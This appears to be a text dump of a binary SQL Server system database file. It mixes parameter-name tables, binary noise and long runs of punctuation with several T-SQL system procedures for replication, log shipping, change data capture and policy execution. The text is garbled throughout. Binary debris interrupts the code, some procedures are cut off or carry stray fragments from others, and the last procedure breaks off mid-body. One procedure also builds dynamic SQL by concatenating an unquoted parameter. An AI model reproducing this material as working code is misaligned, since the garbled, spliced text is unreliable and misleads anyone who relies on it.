Ihits_count0-]
Mmisses_count0-]

88
kbuckets_avg_scan_hit_length0-]
88
mbuckets_avg_scan_miss_length0-]
88
Kpdw_node_id0-s88
]@schemasubtype_addun0-s88
]@schemasubtype_addfk0-s88
_@schemasubtype_addchk0-s88
A@objid0-shhM@debug_print0-FO@table_server0-FK@table_name0-FO@table_schema0-FQ@table_catalog0-FK@index_name0-FhhI@is_unique0-T88
A@colid0-T88
A@artid0-'M@publication0-'88
I@tracer_id0-'==M@cutoff_date0-'I@publisher0-'O@publisher_db- @0- @E@rowdump0-RL
K@xact_seqno0-RLI@publisher0-oob88
A@artid0-oob88
?@mode0-oob00Q@publishertype0-oob88
C@format0-9fA@login0-9fG@password0-9f88
E@ver_old0-9f00O@force_remove0-9fhhQ@security_mode0-/iI@publisher0-/ihhE@enabled0-v88
Kdatabase_id0-v88
Cfile_id0-vCpage_id0-v44Ierror_type0-v00Kpage_status0-v==Wmodification_time0-wI@publisher0-wO@publisher_db0-wM@publication0-wE@article0-M@publication0-88
c@starting_schemaversion0-_+M@publication0-_+E@article!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!fw,

]

3X

D

	o	*	a~E=h}.A<dk`4-	)	FMS0-O@table_schema0-Q@table_catalog0-U@constraint_name0-Y@constraint_schema0-[@constraint_catalog0-U@constraint_type0-%88
Gobject_id0-%88
Gcolumn_id0-%00]distribution_ordinal0-C@dbname0-C@status0-00?@mode0-$$K@primary_id0-S@primary_server0-S@monitor_server0-hho@monitor_server_security_mode0-W@primary_database0-88
W@backup_threshold0-88
U@threshold_alert0-	hhe@threshold_alert_enabled0-
W@last_backup_file0-==W@last_backup_date0-==_@last_backup_date_utc0-
88
g@history_retention_period0-$$A@pubid0-$$E@recguid0-C@recgenC@dbname0-lO
?@type0-lOhh[@ignore_distributor0-lOhhM@from_backup0-W88
Gfdhost_id0-WKfdhost_name0-W88
Wfdhost_process_id0-WKfdhost_type0-W88
Imax_thread0-W88
Kbatch_count0-/nMpartition_id0-/nCcolName0-/nhhCIsInrow0-/nhhEIsSparse0-/nhheIsRecordPrefixCompressed0-/nhhEIsSymbol0-/n88
KPrefixBytes0-/n88
KInRowLength0-/nE@rowdump0-v|M@publication0-v|88
K@request_id0-v|==M@cutoff_date0-EI@publisher0-EO@publisher_db0-EM@publication0-E88
W@publication_type0-`nCaddress0-`n4=name0-`n88
Spending_buffers0-`n88
_total_regular_buffers0-`n[regular_buffer_size0-`n88
[total_large_buffers0-`nWlarge_buffer_size0-`nWtotal_buffer_size0-`n	88
[buffer_policy_flags0-`n
4Ybuffer_policy_desc0-`n88
?flags0-`n4Gflag_desc0-`n
88
[dropped_event_count0-`n88
]dropped_buffer_count0-`n88
cblocked_event_fire_time0-`n==Kcreate_time0-`n88
ilargest_event_dropped_size0-\I@publisher0-\O@publisher_db0-\M@publication0-\_@dynamic_filter_login0-\e@dynamic_filter_hostname0-\i@dynamic_snapshot_location0-\88
O@partition_id0-Fm8?@name0-Fm8==?@time0-I@publisher0-O@publisher_db0-M@publication0-K@subscriber0-Q@subscriber_db0-G@property0-A@value0-00?@mode0-$$K@primary_id0-S@primary_server0-S@monitor_server0-hho@monitor_server_security_mode0-W@primary_database0-88
W@backup_threshold0-88
U@threshold_alert0-	hhe@threshold_alert_enabled0-
W@last_backup_file0-==W@last_backup_date0-==_@last_backup_date_utc0-
88
g@history_retention_period>M},cM-qnYJI^	U`-u)%GVN&-/<R0-/<RC@pbinin0-FhK@table_name0-FhM@table_owner0-FhU@table_qualifier0-FhK@index_name0-FhI@is_unique0-FhG@accuracy0-#ZjC@server0-#ZjA@login0-#ZjG@password0-#ZjU@distribution_db0-?uM@publication0-?uI@publisher0-|zI@publisher0-|zO@publisher_db0-|zM@publication0-|z00C@action0-tԇM@publication0-tԇE@article0-tԇG@procname0-tԇhhA@alter0-&rC@prefix0-&r88
A@tabid0-&rW@peerconflictname-6jhh0-6j$$A@pubid0-g$$A@artid0-ghh@subscriber_of_wellpartitionedarticle!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"Sz7R	g oUl`20
<WH}b0c@ 	8CREATE PROCEDURE sys.sp_syspolicy_execute_policy 
	@policy_name sysname,
	@event_data xml,
	@synchronous bit = 0
AS
BEGIN

	IF(DB_NAME() != 'msdb')
	BEGIN
		RAISERROR(14416,-1,-1)
		RETURN 14416
	END

	-- make sure that the caller is dbo or PolicyAdministratorRole
	IF ( IS_MEMBER('PolicyAdministratorRole') != 1 AND UPPER(USER_NAME())!= 'DBO')
	BEGIN
		RAISERROR(15003, -1, -1, 'PolicyAdministratorRole')
		RETURN 15003
	END

	DECLARE @retval int	
	DECLARE @history_id bigint
	SET @history_id = 0

	EXEC @retval = sys.sp_execute_policy @policy_name, @event_data, @history_id OUTPUT

	IF( (@synchronous = 1) AND (@retval=1))
	BEGIN

		-- the policy failed so we are going to abort the transaction

		-- make sure we get the log information so that we can recreate 
		-- the log entry
		DECLARE @policy_id int
		DECLARE @start_date datetime
		DECLARE @end_date datetime 
		DECLARE @result bit 
		
		SELECT @policy_id = policy_id,
				@start_date = start_date,
				@end_date = end_date,
				@result = result
		FROM msdb.dbo.syspolicy_policy_execution_history_internal
		WHERE history_id = @history_id
		
		DECLARE @target_query_expression nvarchar(max)
		DECLARE @execution_date datetime
		DECLARE @target_result bit
		DECLARE @result_detail nvarchar(max)

		-- there is only one target
		SELECT TOP 1 @target_query_expression = target_query_expression,
			   @execution_date = execution_date,
			   @target_result = result,
			   @result_detail = result_detail
		FROM msdb.dbo.syspolicy_policy_execution_history_details_internal
		WHERE history_id = @history_id

		ROLLBACK TRANSACTION

		IF( @policy_id IS NOT NULL)
		BEGIN
			SET IDENTITY_INSERT msdb.dbo.syspolicy_policy_execution_history_internal ON
			INSERT INTO msdb.dbo.syspolicy_policy_execution_history_internal(history_id, policy_id, start_date, end_date, result)
				VALUES (@history_id, @policy_id, @start_date, @end_date, @result)
			SET IDENTITY_INSERT msdb.dbo.syspolicy_policy_execution_history_internal OFF
			-- insert empty string because the expression is no longer valid
			-- once the transaction has been rolled back
			INSERT INTO msdb.dbo.syspolicy_policy_execution_history_details_internal (history_id, target_query_expression, target_query_expression_with_id, execution_date, result, result_detail)
				VALUES (@history_id, @target_query_expression, N'', @execution_date, @target_result, @result_detail)
		END
	END

	RETURN @retval
END
0R@ A8create procedure sys.sp_MSgetpeerwinnerrow
(
	@originator_id nvarchar(32) = '%', --int
	@row_id nvarchar(19) = '%',   -- timestamp
	@conflict_table nvarchar(270)
)
as 
begin
    set nocount on
    declare @retcode int = 0
				,@cmd nvarchar(4000) 
				,@whcmd nvarchar(4000) = N'__$is_winner = 1 '

	select @cmd = N'select ''__$origin_datasource_srvname'' = h.originator_node,  ''__$origin_datasource_db'' = h.originator_db, * from ' + ISNULL(NULLIF(QUOTENAME(PARSENAME(@conflict_table, 2)) + N'.', N'.'), N'') + QUOTENAME(PARSENAME(@conflict_table, 1))
	
    /*
    ** Security Check.
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
    --
    -- passed the security check
    --

    if (@originator_id != N'%')
    begin
            select @whcmd = @whcmd + N' and __$originator_id = ' + quotename(@originator_id, '''')
    end
    if (@row_id != N'%')
    begin
            select @whcmd = @whcmd + N' and ((__$change_id is not null and __$change_id = ' + @row_id
					+ N') or(__$change_id is null and __$row_id in (select __$change_id from ' 
					+ ISNULL(NULLIF(QUOTENAME(PARSENAME(@conflict_table, 2)) + N'.', N'.'), N'') + QUOTENAME(PARSENAME(@conflict_table, 1)) 
					+ N' where __$row_id = ' + @row_id + N')))'
    end
    select @cmd = @cmd + N' c join MSpeer_originatorid_history h on c.__$origin_datasource = h.originator_id where ' + @whcmd

    --
    -- execute the generated select
    --
    execute (@cmd)
    --
    -- all done
    --
end
0@ 8create procedure sys.sp_cdc_create_change_table_index
(
	@capture_instance sysname,
	@supports_net_changes bit
)	
as
begin
	declare @stmt nvarchar(max)
		,@change_table nvarchar(1000)
		,@pk_column_list nvarchar(max)
		,@column_name sysname
		
	set nocount on
	
    set @change_table = N'[cdc].' + quotename(@capture_instance + N'_CT')
	
   	set @stmt = N'create unique clustered index ' +
	quotename(@capture_instance + N'_CT_clustered_idx') +
	N' on ' + @change_table + N'
	(
		__$start_lsn ASC,
		__$seqval ASC,
		__$operation ASC
	)'	 	
	
	exec (@stmt)
	if (@@error != 0)
	begin
		return 1
	end
	
	if @supports_net_changes = 0
	begin
		return 0
	end
		
    set @pk_column_list = N' '
		
	create table #index_column_names(column_name sysname null, index_ordinal int null)

	insert into #index_column_names
	select column_name, index_ordinal
	from [cdc].[index_columns] where object_id = object_id(@change_table)

   	declare #hidxcolumns cursor local fast_forward for
		select column_name
		from #index_column_names 
		order by index_ordinal
		
	open #hidxcolumns
	fetch #hidxcolumns into @column_name
	
	while (@@fetch_status <> -1)
	begin
		set @pk_column_list = @pk_column_list + quotename(@column_name) +  N' ASC, ' 

		fetch #hidxcolumns into @column_name
	end
	
	close #hidxcolumns
	deallocate #hidxcolumns
	
	set @stmt = N' create unique nonclustered index ' + 
		quotename(@capture_instance + N'_CT_idx') +
		N' on ' + @change_table + N'
		( '  + @pk_column_list + N'
			[__$seqval] ASC,
			[__$operation] ASC
		) INCLUDE ( [__$start_lsn], [__$update_mask] )'	 	
	
	exec (@stmt)
	if (@@error != 0)
	begin
		return 1
	end
	
	return 0
end
    -- all done
    --
end
0k,4 8create procedure sys.sp_MSproxylogshippingmonitorprimary 
(
    @mode tinyint -- 1 = add, 2 = delete, 3 = update
    ,@primary_id uniqueidentifier
    ,@primary_server sysname = NULL
    ,@monitor_server sysname 
    ,@primary_database sysname = NULL
    ,@backup_threshold int = NULL
    ,@threshold_alert int = NULL
    ,@threshold_alert_enabled bit = NULL
    ,@last_backup_file nvarchar(500) = NULL
    ,@last_backup_date datetime = NULL
    ,@last_backup_date_utc datetime = NULL
    ,@history_retention_period int = NULL
)
with execute as 'dbo'
as
begin
    set nocount on
    declare @retcode int
                ,@linkcmd nvarchar(512)
    --
    -- should be executed in msdb
    --
    if (db_name() != N'msdb')
    begin
        raiserror (21482, 16, -1, N'sp_MSproxylogshippingmonitorprimary', N'msdb')
        return 1
    end
    -- 
    -- process the monitor record in log_shipping_monitor_primary on the monitor server 
    --
    select @linkcmd = quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.sys.sp_processlogshippingmonitorprimary'
    begin try
        exec @retcode = @linkcmd 
            @mode = @mode
            ,@primary_id = @primary_id
            ,@primary_server = @primary_server
            ,@monitor_server = @monitor_server
            ,@monitor_server_security_mode = 0
            ,@primary_database = @primary_database
            ,@backup_threshold = @backup_threshold
            ,@threshold_alert = @threshold_alert
            ,@threshold_alert_enabled = @threshold_alert_enabled
            ,@last_backup_file = @last_backup_file
            ,@last_backup_date = @last_backup_date
            ,@last_backup_date_utc = @last_backup_date_utc
            ,@history_retention_period = @history_retention_period
    end try
    begin catch
        select @retcode = 1
    end catch
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!wy8
`9	<I('|0v	@ 8
CREATE PROCEDURE sys.sp_changepublication_snapshot
(
    @publication					sysname,    
    @frequency_type					int = NULL,		/* 4== Daily */
    @frequency_interval				int = NULL,		/* Every day */
    @frequency_subday				int = NULL,		/* Sub interval = Minute */
    @frequency_subday_interval		int = NULL,		/* Every five minutes */
    @frequency_relative_interval	int = NULL, 
    @frequency_recurrence_factor	int = NULL, 
    @active_start_date				int = NULL, 
    @active_end_date				int = NULL, 
    @active_start_time_of_day		int = NULL, 
    @active_end_time_of_day			int = NULL,
    @snapshot_job_name				nvarchar(100) = NULL,
	@publisher_security_mode		int = NULL,
	@publisher_login				sysname = NULL,
	@publisher_password 			sysname = NULL,
	@job_login 						nvarchar(257) = NULL,
	@job_password 					sysname = NULL,
	@publisher						sysname	= NULL
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@publisher_type	= @publisher_type OUTPUT,
													@rpcheader		= @cmd            OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_changepublication_snapshot'
	
	EXEC @retcode = @cmd
					@publication,
					@frequency_type,
					@frequency_interval,
					@frequency_subday,
					@frequency_subday_interval,
					@frequency_relative_interval,
					@frequency_recurrence_factor,
					@active_start_date,
					@active_end_date,
					@active_start_time_of_day,
					@active_end_time_of_day,
					@snapshot_job_name,
					@publisher_security_mode,
					@publisher_login,
					@publisher_password,
					@job_login,
					@job_password,
					@publisher,
					@publisher_type
					

	RETURN (@retcode)
END
0	 \8QcNh> 8^!c0Z@ 8CREATE VIEW sys.dm_database_encryption_keys AS
	SELECT * FROM OpenRowset(TABLE DATABASEENCRYPTIONKEYS)
0&@ 8
--
-- Name:    
--          sp_IHgetversion
--          
-- Description: 
--          Retrieve server version of server
--  
-- Security: 
--          Internal
--
-- Returns:
--          Version string
--      
-- Owner:   
--          <current owner> 

create procedure sys.sp_IHgetversion
(
	@publisher	sysname,
	@version	sysname OUTPUT
)
as
begin
	DECLARE @publisher_type	sysname
	DECLARE @distribdb	sysname	
	DECLARE @cmd		nvarchar(4000)
	DECLARE @retcode	int

	-- Initialize version
	SELECT @version = NULL
	
	-- Get publisher info
	EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher      = @publisher,
														@publisher_type = @publisher_type OUTPUT
	
	IF @retcode <> 0
	BEGIN
		RETURN (1)
	END
	
	-- Call version specific logic to find server version
	IF UPPER(@publisher_type) = N'MSSQLSERVER'
	BEGIN
		SELECT @version = NULL
	END
	ELSE IF UPPER(@publisher_type) IN (N'ORACLE', N'ORACLE GATEWAY')
	BEGIN
		EXEC @retcode = sp_ORAgetversion @publisher, @version OUTPUT
		
		IF @retcode != 0 OR @@ERROR != 0
		BEGIN
			RETURN (1)
		END
	END
	ELSE
	BEGIN
		SELECT @version = NULL
	END

	RETURN (0)
	
end
0wX =8create procedure sys.sp_helplanguage --- 1996/04/08 00:00
@language sysname = NULL
as
	-- Print all languages if the user didn't give the language name.
	if @language is null
	begin
		if exists (select * from sys.syslanguages)
			select * from sys.syslanguages
		else
			raiserror(15452,-1,-1)

		-- Find out whether us_english is there or not.
		if not exists (select * from sys.syslanguages
				where name = 'us_english')
			raiserror(15453,-1,-1)

		return (0)
	end

	--  Report information on this language.
	if exists (select * from sys.syslanguages where name = @language)
	begin
		select * from sys.syslanguages where name = @language
		return (0)
	end

	if exists (select * from sys.syslanguages where alias = @language)
	begin
		select * from sys.syslanguages where alias = @language
		return (0)
	end

	-- Couldn't find this language.
	if @language = 'us_english'
	begin
		raiserror(15453,-1,-1)
		return (0)
	end
	else
	begin
		raiserror(15033,-1,-1,@language)
		return (1)
	end
-- sp_helplanguage
0E1\ [8create function sys.fn_chariswhitespace(
    @char nchar(1)
    ) returns bit
begin
    declare @result bit

    if @char in (N' ', nchar(9), nchar(10), nchar(13), N'')
    begin
        select @result = 1
    end
    else
    begin
        select @result = 0
    end
    return @result        
end
05o 8 
-- add it
create view sys.dm_pdw_nodes_tran_current_snapshot as
select *, convert(int, null) pdw_node_id from sys.dm_tran_current_snapshot
0: 
8create procedure sys.sp_MSgetarticlereinitvalue 
(
    @subscriber sysname,
    @subscriberdb sysname,
    @publication sysname,
    @artid int, 
    @reinit int output
)
as
begin
    set NOCOUNT ON
    declare @retcode int
    
    --
    -- return NULL if no parameters supplied
    --
    if ((@subscriber IS NULL) or (@subscriberdb IS NULL) or (@publication is null) or (@artid IS NULL))
    begin
        select @reinit = NULL
        return 1
    end
    --
    -- PAL security check
    --
    exec @retcode = sys.sp_MSreplcheck_pull @publication = @publication
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- get the value of reinit flag
    --
    select @reinit = queued_reinit 
    from syssubscriptions 
        where srvname = UPPER(@subscriber) 
		and (srvname is not null and len(srvname)> 0)
        and artid = @artid 
        and dest_db = @subscriberdb
    --
    -- All done
    --
    return 0
end
0/@ 8CREATE PROCEDURE sys.sp_MSdrop_merge_agentid 
(
    @agent_id int
) 
AS
begin

    SET NOCOUNT ON
    
    DECLARE @name           nvarchar(100)
    DECLARE @job_id			binary(16)
    DECLARE @job_step_uid	uniqueidentifier
    DECLARE @local_job		bit
    declare @retcode		int
    
    SELECT @name = name, @job_id = job_id, @job_step_uid = job_step_uid, @local_job = local_job
    FROM dbo.MSmerge_agents 
    WHERE id = @agent_id
    
    -- Delete Perfmon instance
    dbcc deleteinstance ("SQL Replication Merge", @name)

	delete from dbo.MSmerge_history where session_id in (
		select session_id from
		dbo.MSmerge_sessions where agent_id = @agent_id)
		
	delete from dbo.MSmerge_articlehistory where session_id in (
		select session_id from
		dbo.MSmerge_sessions where agent_id = @agent_id)
		
	delete from dbo.MSrepl_errors where session_id in (
		select session_id from
		dbo.MSmerge_sessions where agent_id = @agent_id)
	
	-- delete sessions associated with the agent that is to be deleted
	delete dbo.MSmerge_sessions where agent_id = @agent_id
	IF @@ERROR <> 0 
    	return 1
    
    -- Remove agent entry
    delete dbo.MSmerge_agents WHERE id = @agent_id
    IF @@ERROR <> 0 
        return 1
        	
	if @local_job = 1
    begin
        if exists (select * from msdb.dbo.sysjobs_view where job_id = @job_id)
        begin                
            exec @retcode = sys.sp_MSdrop_repl_job @job_id = @job_id,
            										@job_step_uid = @job_step_uid
            if @@error <> 0 or @retcode <> 0
                return 1
        end
    end
    
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Q
l`K`<2J C
`06  8

--
-- Name: sp_MScopyscriptfile_merge
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: internal
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MScopyscriptfile_merge (
    @publication sysname,
    @scriptfile nvarchar(4000), 
    @cmd nvarchar(4000) OUTPUT
)
as
declare @directory nvarchar(4000)
declare @filename nvarchar(1024)
declare @subdirectory nvarchar(1024)
declare @retcode int
declare @publisher sysname
declare @publisher_db sysname
declare @enabled_for_internet bit
declare @snapshot_in_defaultfolder bit

declare @distributor            sysname
declare @dist_rpcname           sysname
declare @distribdb              sysname
declare @distproc               nvarchar(300)
declare @distrib_directory     nvarchar(4000)

select @publisher = publishingservername()
select @publisher_db = db_name()


EXEC @retcode = sys.sp_helpdistributor @distributor = @distributor OUTPUT, 
                                        @distribdb = @distribdb OUTPUT,
                                        @rpcsrvname = @dist_rpcname OUTPUT ,
                                        @directory = @distrib_directory OUTPUT

if @@error <> 0 OR @retcode <> 0 or @distributor IS NULL OR @distribdb IS NULL
BEGIN
    RAISERROR (14071, 16, -1)
    RETURN (1)
END

select @directory = alt_snapshot_folder, 
       @enabled_for_internet = enabled_for_internet, 
       @snapshot_in_defaultfolder = snapshot_in_defaultfolder from dbo.sysmergepublications
where UPPER(publisher) = UPPER(@publisher)  and publisher_db = @publisher_db and name = @publication
if @directory is null or @directory = ''
begin
    select @directory = @distrib_directory
end

-- determine whether to use unc or ftp subdir. This is based on the "enabled_for_internet" property of
-- the publication
if @enabled_for_internet = 0
    select @directory = @directory + '\unc\' + 
             sys.fn_replcomposepublicationsnapshotfolder(@publisher,@publisher_db,@publication,1) collate database_default
else
    select @directory = @directory + '\ftp\' + 
             sys.fn_replcomposepublicationsnapshotfolder(@publisher,@publisher_db,@publication,1) collate database_default

-- the subdirectory will be directory called "UserScripts"
select @subdirectory = formatmessage(21721)
if(right(@directory, 1) = N'\')
    select @directory = @directory + @subdirectory
else
    select @directory = @directory + N'\' + @subdirectory


SELECT @distproc = RTRIM(@dist_rpcname) + '.' + QUOTENAME(@distribdb) + '.dbo.sp_MSreplcopyscriptfile'

EXECUTE @retcode = @distproc @directory = @directory, @scriptfile = @scriptfile

if @@error<>0 or @retcode<>0 
    return 1

-- Prepare command, to be posted to log
select @filename = right(@scriptfile, charindex(N'\', reverse(@scriptfile)))
if(left(@filename, 1) = N'\')   
    select @cmd = @directory + @filename
else
    select @cmd = @directory + N'\' + @filename
0lˣ 8create procedure sys.sp_enumoledbdatasources
    AS
    set nocount on

    select srvname, srvproduct, providername from master.dbo.sysservers where 
    (srvstatus & 0x0080) <> 0

    return (0)
0 8create procedure sys.sp_MSispkupdateinconflict (
    @pubid int
    ,@artid int
    ,@bitmap varbinary(4000)
)
as
begin
    declare @retcode int
        ,@tabname sysname
        ,@tabid int
        ,@indid int
        ,@indkey int
        ,@key sysname
        ,@colid int
        ,@isset int
        ,@artcol int
        ,@bytepos int
        ,@bitpos int

    --
    -- security check
    --
    exec @retcode = sp_MSreplcheck_publish
    if @@ERROR != 0 or @retcode != 0
    	return -1
    --
    -- initalize and validate
    --
    select @tabid = objid
        ,@indkey = 1
        ,@artcol = 0
    from dbo.sysarticles
    where (artid = @artid) and (pubid = @pubid)

    if (@tabid is null)
    begin
        raiserror(20046, 16, -1)
        return -1
    end
    
    select @tabname = QUOTENAME(schema_name(OBJECTPROPERTY(@tabid, 'SchemaId'))) collate database_default 
            + N'.' + QUOTENAME(object_name( @tabid )) collate database_default

    --
    -- get the Primary Key Index
    --
    select @indid = i.indid 
    from dbo.sysindexes i 
    where ((i.status & 2048) != 0) and (i.id = @tabid)
    if (@indid is null)
    begin
        raiserror(21750, 16, -1, @tabname)
        return -1
    end
    
    --
    -- create an enumeration of all the columns that are part of PK
    --
    create table #pkcoltab(pkindex int identity, keyname sysname collate database_default not null)
    while (@indkey <= 16)
    begin
        select @key = index_col( @tabname, @indid, @indkey )
        if (@key is null)
            break
        else
            insert into #pkcoltab(keyname) values(@key)

        select @indkey = @indkey + 1
    end

    --
    -- now walk through each article col and if it is
    -- a part of PK, then check if the update bitmap bit 
    -- corresponding to any article column is set
    --
    DECLARE #hCColid CURSOR LOCAL FAST_FORWARD FOR 
        select column_id, [name] from sys.columns 
        where object_id = @tabid order by column_id asc

    OPEN #hCColid
    FETCH #hCColid INTO @colid, @key
    WHILE (@@fetch_status != -1)
    begin
        exec @isset = sys.sp_isarticlecolbitset @colid, @artid
        if (@isset != 0)
        begin
        --
        -- this column is part of the article
        --
        select @artcol = @artcol + 1
        if exists (select * from #pkcoltab where keyname = @key)
        begin
            --
            -- this column is part of PK
            --
            select  @bytepos = 1 + (@artcol-1) / 8 
                ,@bitpos = power(2, (@artcol-1) % 8 )

            --
            -- if the update bitmap has bit set then
            -- then it is a PK update
            --
            if ((substring(@bitmap, @bytepos, 1) & @bitpos) = @bitpos)
                return 1
        end
        end
        --
        -- get the next column
        --
        FETCH #hCColid INTO @colid, @key
    end
    CLOSE #hCColid
    DEALLOCATE #hCColid
    drop table #pkcoltab

    --
    -- if we have reached here then it mean the update does not
    -- affect PK columns, cleanup and return
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!m
`	< K*+?h0e v8

create procedure sys.sp_MScreate_zero_identity_constraint
    @subid uniqueidentifier
as
    declare @retcode int
    declare @artid uniqueidentifier
    declare @qualified_table_name nvarchar(517)

    -- change the constraints for identity range managed articles to be such that inserts are not allowed
    declare Carticles CURSOR LOCAL FAST_FORWARD FOR
        select artid from dbo.MSmerge_identity_range where subid = @subid
    FOR READ ONLY
    OPEN Carticles
    FETCH Carticles INTO @artid
    WHILE (@@fetch_status <> -1)
    begin
        select @qualified_table_name = sys.fn_MSmerge_getqualifiedobjname(@artid)
        if @qualified_table_name is not NULL
        begin
            exec @retcode = sys.sp_MSrefresh_idrange_check_constraint
                                    @qualified_table_name,
                                    @artid,
                                    0,
                                    0,
                                    0,
                                    0
            if @@error<>0 or @retcode<>0
            begin
                close Carticles
                deallocate Carticles
                goto Cleanup
            end
        end
        fetch Carticles into @artid
    end
    close Carticles
    deallocate Carticles
    return 0

Cleanup:
    return 1
04dl J
8create procedure sys.sp_MSprocesslogshippingretentioncleanup 
(
    @agent_id uniqueidentifier
    ,@agent_type tinyint  -- 0 = backup, 1 = copy, 2 = restore
    ,@monitor_server sysname
    ,@monitor_server_security_mode bit = 1
    ,@history_retention_period int
    ,@curdate_utc datetime
)
as
begin
    set nocount on
    declare @retcode int
                ,@cutoff_time_utc datetime
                ,@linkcmd nvarchar(512)
    --
    -- compute the cutofftime
    --
    select @cutoff_time_utc = dateadd(minute, -@history_retention_period, @curdate_utc)
    --
    -- cleanup history_detail
    --
    delete from msdb.dbo.log_shipping_monitor_history_detail
    where agent_id = @agent_id 
        and agent_type = @agent_type
        and log_time_utc < @cutoff_time_utc
    --
    -- cleanup error_detail
    --
    delete from msdb.dbo.log_shipping_monitor_error_detail
    where agent_id = @agent_id 
        and agent_type = @agent_type
        and log_time_utc < @cutoff_time_utc
    --
    -- Do we need have remote monitor
    --
    if (upper(@monitor_server) != upper(@@servername))
    begin
        if (@monitor_server_security_mode = 0) and (suser_name() != SUSER_SNAME(0x01))
        begin
            --
            -- Process remote monitor using proxy
            --
            exec @retcode = msdb.sys.sp_MSproxylogshippingretentioncleanup
                    @agent_id = @agent_id
                    ,@agent_type = @agent_type
                    ,@monitor_server = @monitor_server
                    ,@history_retention_period = @history_retention_period
